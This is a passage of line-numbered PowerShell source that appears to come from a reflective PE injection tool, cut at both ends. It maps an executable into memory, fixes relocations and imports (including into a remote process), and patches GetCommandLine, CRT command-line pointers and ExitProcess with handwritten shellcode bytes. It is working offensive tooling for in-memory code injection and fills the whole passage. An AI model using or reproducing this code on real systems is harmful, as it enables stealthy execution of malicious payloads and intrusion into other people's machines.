  1459.                                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
  1460.                         }
  1461.  
  1462.  
  1463.                         if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
  1464.                         {
  1465.                                 $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
  1466.                                 [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
  1467.                                 Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
  1468.                                 $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
  1469.                         }
  1470.                 }
  1471.         }
  1472.  
  1473.  
  1474.         Function Update-MemoryAddresses
  1475.         {
  1476.                 Param(
  1477.                 [Parameter(Position = 0, Mandatory = $true)]
  1478.                 [System.Object]
  1479.                 $PEInfo,
  1480.  
  1481.                 [Parameter(Position = 1, Mandatory = $true)]
  1482.                 [Int64]
  1483.                 $OriginalImageBase,
  1484.  
  1485.                 [Parameter(Position = 2, Mandatory = $true)]
  1486.                 [System.Object]
  1487.                 $Win32Constants,
  1488.  
  1489.                 [Parameter(Position = 3, Mandatory = $true)]
  1490.                 [System.Object]
  1491.                 $Win32Types
  1492.                 )
  1493.  
  1494.                 [Int64]$BaseDifference = 0
  1495.                 $AddDifference = $true
  1496.                 [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1497.  
  1498.  
  1499.                 if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
  1500.                                 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
  1501.                 {
  1502.                         return
  1503.                 }
  1504.  
  1505.  
  1506.                 elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
  1507.                 {
  1508.                         $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
  1509.                         $AddDifference = $false
  1510.                 }
  1511.                 elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
  1512.                 {
  1513.                         $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
  1514.                 }
  1515.  
  1516.  
  1517.                 [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
  1518.                 while($true)
  1519.                 {
  1520.  
  1521.                         $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
  1522.  
  1523.                         if ($BaseRelocationTable.SizeOfBlock -eq 0)
  1524.                         {
  1525.                                 break
  1526.                         }
  1527.  
  1528.                         [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
  1529.                         $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
  1530.  
  1531.  
  1532.                         for($i = 0; $i -lt $NumRelocations; $i++)
  1533.                         {
  1534.  
  1535.                                 $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
  1536.                                 [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
  1537.  
  1538.  
  1539.                                 [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
  1540.                                 [UInt16]$RelocType = $RelocationInfo -band 0xF000
  1541.                                 for ($j = 0; $j -lt 12; $j++)
  1542.                                 {
  1543.                                         $RelocType = [Math]::Floor($RelocType / 2)
  1544.                                 }
  1545.  
  1546.  
  1547.  
  1548.  
  1549.                                 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  1550.                                                 -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
  1551.                                 {
  1552.  
  1553.                                         [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
  1554.                                         [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
  1555.  
  1556.                                         if ($AddDifference -eq $true)
  1557.                                         {
  1558.                                                 [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1559.                                         }
  1560.                                         else
  1561.                                         {
  1562.                                                 [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
  1563.                                         }
  1564.  
  1565.                                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
  1566.                                 }
  1567.                                 elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
  1568.                                 {
  1569.  
  1570.                                         Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
  1571.                                 }
  1572.                         }
  1573.  
  1574.                         $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
  1575.                 }
  1576.         }
  1577.  
  1578.  
  1579.         Function Import-DllImports
  1580.         {
  1581.                 Param(
  1582.                 [Parameter(Position = 0, Mandatory = $true)]
  1583.                 [System.Object]
  1584.                 $PEInfo,
  1585.  
  1586.                 [Parameter(Position = 1, Mandatory = $true)]
  1587.                 [System.Object]
  1588.                 $Win32Functions,
  1589.  
  1590.                 [Parameter(Position = 2, Mandatory = $true)]
  1591.                 [System.Object]
  1592.                 $Win32Types,
  1593.  
  1594.                 [Parameter(Position = 3, Mandatory = $true)]
  1595.                 [System.Object]
  1596.                 $Win32Constants,
  1597.  
  1598.                 [Parameter(Position = 4, Mandatory = $false)]
  1599.                 [IntPtr]
  1600.                 $RemoteProcHandle
  1601.                 )
  1602.  
  1603.                 $RemoteLoading = $false
  1604.                 if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
  1605.                 {
  1606.                         $RemoteLoading = $true
  1607.                 }
  1608.  
  1609.                 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  1610.                 {
  1611.                         [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  1612.  
  1613.                         while ($true)
  1614.                         {
  1615.                                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  1616.  
  1617.  
  1618.                                 if ($ImportDescriptor.Characteristics -eq 0 `
  1619.                                                 -and $ImportDescriptor.FirstThunk -eq 0 `
  1620.                                                 -and $ImportDescriptor.ForwarderChain -eq 0 `
  1621.                                                 -and $ImportDescriptor.Name -eq 0 `
  1622.                                                 -and $ImportDescriptor.TimeDateStamp -eq 0)
  1623.                                 {
  1624.                                         Write-Verbose "Done importing DLL imports"
  1625.                                         break
  1626.                                 }
  1627.  
  1628.                                 $ImportDllHandle = [IntPtr]::Zero
  1629.                                 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
  1630.                                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1631.  
  1632.                                 if ($RemoteLoading -eq $true)
  1633.                                 {
  1634.                                         $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
  1635.                                 }
  1636.                                 else
  1637.                                 {
  1638.                                         $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
  1639.                                 }
  1640.  
  1641.                                 if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
  1642.                                 {
  1643.                                         throw "Error importing DLL, DLLName: $ImportDllPath"
  1644.                                 }
  1645.  
  1646.  
  1647.                                 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
  1648.                                 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics)
  1649.                                 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1650.  
  1651.                                 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
  1652.                                 {
  1653.                     $LoadByOrdinal = $false
  1654.                     [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
  1655.  
  1656.  
  1657.  
  1658.                                         [IntPtr]$NewThunkRef = [IntPtr]::Zero
  1659.                                         if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
  1660.                                         {
  1661.                                                 [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff
  1662.                         $LoadByOrdinal = $true
  1663.                                         }
  1664.                     elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
  1665.                                         {
  1666.                                                 [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff
  1667.                         $LoadByOrdinal = $true
  1668.                                         }
  1669.                                         else
  1670.                                         {
  1671.                                                 [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
  1672.                                                 $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
  1673.                                                 $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
  1674.                         $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
  1675.                                         }
  1676.  
  1677.                                         if ($RemoteLoading -eq $true)
  1678.                                         {
  1679.                                                 [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
  1680.                                         }
  1681.                                         else
  1682.                                         {
  1683.                                         [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
  1684.                                         }
  1685.  
  1686.                                         if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
  1687.                                         {
  1688.                         if ($LoadByOrdinal)
  1689.                         {
  1690.                             Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
  1691.                         }
  1692.                         else
  1693.                         {
  1694.                                                     Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
  1695.                         }
  1696.                                         }
  1697.  
  1698.                                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
  1699.  
  1700.                                         $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1701.                                         [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
  1702.                                         [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
  1703.  
  1704.  
  1705.  
  1706.                     if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
  1707.                     {
  1708.                         [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
  1709.                         $ProcedureNamePtr = [IntPtr]::Zero
  1710.                     }
  1711.                                 }
  1712.  
  1713.                                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  1714.                         }
  1715.                 }
  1716.         }
  1717.  
  1718.         Function Get-VirtualProtectValue
  1719.         {
  1720.                 Param(
  1721.                 [Parameter(Position = 0, Mandatory = $true)]
  1722.                 [UInt32]
  1723.                 $SectionCharacteristics
  1724.                 )
  1725.  
  1726.                 $ProtectionFlag = 0x0
  1727.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
  1728.                 {
  1729.                         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1730.                         {
  1731.                                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1732.                                 {
  1733.                                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
  1734.                                 }
  1735.                                 else
  1736.                                 {
  1737.                                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
  1738.                                 }
  1739.                         }
  1740.                         else
  1741.                         {
  1742.                                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1743.                                 {
  1744.                                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
  1745.                                 }
  1746.                                 else
  1747.                                 {
  1748.                                         $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
  1749.                                 }
  1750.                         }
  1751.                 }
  1752.                 else
  1753.                 {
  1754.                         if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
  1755.                         {
  1756.                                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1757.                                 {
  1758.                                         $ProtectionFlag = $Win32Constants.PAGE_READWRITE
  1759.                                 }
  1760.                                 else
  1761.                                 {
  1762.                                         $ProtectionFlag = $Win32Constants.PAGE_READONLY
  1763.                                 }
  1764.                         }
  1765.                         else
  1766.                         {
  1767.                                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
  1768.                                 {
  1769.                                         $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
  1770.                                 }
  1771.                                 else
  1772.                                 {
  1773.                                         $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
  1774.                                 }
  1775.                         }
  1776.                 }
  1777.  
  1778.                 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
  1779.                 {
  1780.                         $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
  1781.                 }
  1782.  
  1783.                 return $ProtectionFlag
  1784.         }
  1785.  
  1786.         Function Update-MemoryProtectionFlags
  1787.         {
  1788.                 Param(
  1789.                 [Parameter(Position = 0, Mandatory = $true)]
  1790.                 [System.Object]
  1791.                 $PEInfo,
  1792.  
  1793.                 [Parameter(Position = 1, Mandatory = $true)]
  1794.                 [System.Object]
  1795.                 $Win32Functions,
  1796.  
  1797.                 [Parameter(Position = 2, Mandatory = $true)]
  1798.                 [System.Object]
  1799.                 $Win32Constants,
  1800.  
  1801.                 [Parameter(Position = 3, Mandatory = $true)]
  1802.                 [System.Object]
  1803.                 $Win32Types
  1804.                 )
  1805.  
  1806.                 for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1807.                 {
  1808.                         [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1809.                         $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1810.                         [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
  1811.  
  1812.                         [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
  1813.                         [UInt32]$SectionSize = $SectionHeader.VirtualSize
  1814.  
  1815.                         [UInt32]$OldProtectFlag = 0
  1816.                         Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
  1817.                         $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
  1818.                         if ($Success -eq $false)
  1819.                         {
  1820.                                 Throw "Unable to change memory protection"
  1821.                         }
  1822.                 }
  1823.         }
  1824.  
  1825.  
  1826.  
  1827.         Function Update-ExeFunctions
  1828.         {
  1829.                 Param(
  1830.                 [Parameter(Position = 0, Mandatory = $true)]
  1831.                 [System.Object]
  1832.                 $PEInfo,
  1833.  
  1834.                 [Parameter(Position = 1, Mandatory = $true)]
  1835.                 [System.Object]
  1836.                 $Win32Functions,
  1837.  
  1838.                 [Parameter(Position = 2, Mandatory = $true)]
  1839.                 [System.Object]
  1840.                 $Win32Constants,
  1841.  
  1842.                 [Parameter(Position = 3, Mandatory = $true)]
  1843.                 [String]
  1844.                 $ExeArguments,
  1845.  
  1846.                 [Parameter(Position = 4, Mandatory = $true)]
  1847.                 [IntPtr]
  1848.                 $ExeDoneBytePtr
  1849.                 )
  1850.  
  1851.  
  1852.                 $ReturnArray = @()
  1853.  
  1854.                 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1855.                 [UInt32]$OldProtectFlag = 0
  1856.  
  1857.                 [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
  1858.                 if ($Kernel32Handle -eq [IntPtr]::Zero)
  1859.                 {
  1860.                         throw "Kernel32 handle null"
  1861.                 }
  1862.  
  1863.                 [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
  1864.                 if ($KernelBaseHandle -eq [IntPtr]::Zero)
  1865.                 {
  1866.                         throw "KernelBase handle null"
  1867.                 }
  1868.  
  1869.  
  1870.  
  1871.  
  1872.                 $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1873.                 $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1874.  
  1875.                 [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
  1876.                 [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
  1877.  
  1878.                 if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
  1879.                 {
  1880.                         throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
  1881.                 }
  1882.  
  1883.  
  1884.                 [Byte[]]$Shellcode1 = @()
  1885.                 if ($PtrSize -eq 8)
  1886.                 {
  1887.                         $Shellcode1 += 0x48
  1888.                 }
  1889.                 $Shellcode1 += 0xb8
  1890.  
  1891.                 [Byte[]]$Shellcode2 = @(0xc3)
  1892.                 $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
  1893.  
  1894.  
  1895.  
  1896.                 $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1897.                 $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
  1898.                 $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
  1899.                 $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
  1900.                 $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
  1901.                 $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
  1902.  
  1903.  
  1904.                 [UInt32]$OldProtectFlag = 0
  1905.                 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1906.                 if ($Success = $false)
  1907.                 {
  1908.                         throw "Call to VirtualProtect failed"
  1909.                 }
  1910.  
  1911.                 $GetCommandLineAAddrTemp = $GetCommandLineAAddr
  1912.                 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
  1913.                 $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
  1914.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
  1915.                 $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
  1916.                 Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
  1917.  
  1918.                 $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1919.  
  1920.  
  1921.  
  1922.                 [UInt32]$OldProtectFlag = 0
  1923.                 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1924.                 if ($Success = $false)
  1925.                 {
  1926.                         throw "Call to VirtualProtect failed"
  1927.                 }
  1928.  
  1929.                 $GetCommandLineWAddrTemp = $GetCommandLineWAddr
  1930.                 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
  1931.                 $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
  1932.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
  1933.                 $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
  1934.                 Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
  1935.  
  1936.                 $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  1937.  
  1938.  
  1939.  
  1940.  
  1941.  
  1942.  
  1943.  
  1944.  
  1945.                 $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
  1946.                         , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
  1947.  
  1948.                 foreach ($Dll in $DllList)
  1949.                 {
  1950.                         [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
  1951.                         if ($DllHandle -ne [IntPtr]::Zero)
  1952.                         {
  1953.                                 [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
  1954.                                 [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
  1955.                                 if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
  1956.                                 {
  1957.                                         "Error, couldn't find _wcmdln or _acmdln"
  1958.                                 }
  1959.  
  1960.                                 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
  1961.                                 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
  1962.  
  1963.  
  1964.                                 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
  1965.                                 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
  1966.                                 $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1967.                                 $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1968.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
  1969.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
  1970.                                 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
  1971.                                 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
  1972.  
  1973.                                 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1974.                                 if ($Success = $false)
  1975.                                 {
  1976.                                         throw "Call to VirtualProtect failed"
  1977.                                 }
  1978.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
  1979.                                 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1980.  
  1981.                                 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
  1982.                                 if ($Success = $false)
  1983.                                 {
  1984.                                         throw "Call to VirtualProtect failed"
  1985.                                 }
  1986.                                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
  1987.                                 $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
  1988.                         }
  1989.                 }
  1990.  
  1991.  
  1992.  
  1993.  
  1994.  
  1995.  
  1996.                 $ReturnArray = @()
  1997.                 $ExitFunctions = @()
  1998.  
  1999.  
  2000.                 [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
  2001.                 if ($MscoreeHandle -eq [IntPtr]::Zero)
  2002.                 {
  2003.                         throw "mscoree handle null"
  2004.                 }
  2005.                 [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
  2006.                 if ($CorExitProcessAddr -eq [IntPtr]::Zero)
  2007.                 {
  2008.                         Throw "CorExitProcess address not found"
  2009.                 }
  2010.                 $ExitFunctions += $CorExitProcessAddr
  2011.  
  2012.  
  2013.                 [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
  2014.                 if ($ExitProcessAddr -eq [IntPtr]::Zero)
  2015.                 {
  2016.                         Throw "ExitProcess address not found"
  2017.                 }
  2018.                 $ExitFunctions += $ExitProcessAddr
  2019.  
  2020.                 [UInt32]$OldProtectFlag = 0
  2021.                 foreach ($ProcExitFunctionAddr in $ExitFunctions)
  2022.                 {
  2023.                         $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr
  2024.  
  2025.  
  2026.                         [Byte[]]$Shellcode1 = @(0xbb)
  2027.                         [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)
  2028.  
  2029.                         if ($PtrSize -eq 8)
  2030.                         {
  2031.                                 [Byte[]]$Shellcode1 = @(0x48, 0xbb)
  2032.                                 [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
  2033.                         }
  2034.                         [Byte[]]$Shellcode3 = @(0xff, 0xd3)
  2035.                         $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
  2036.  
  2037.                         [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
  2038.                         if ($ExitThreadAddr -eq [IntPtr]::Zero)
  2039.                         {
  2040.                                 Throw "ExitThread address not found"
  2041.                         }
  2042.  
  2043.                         $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
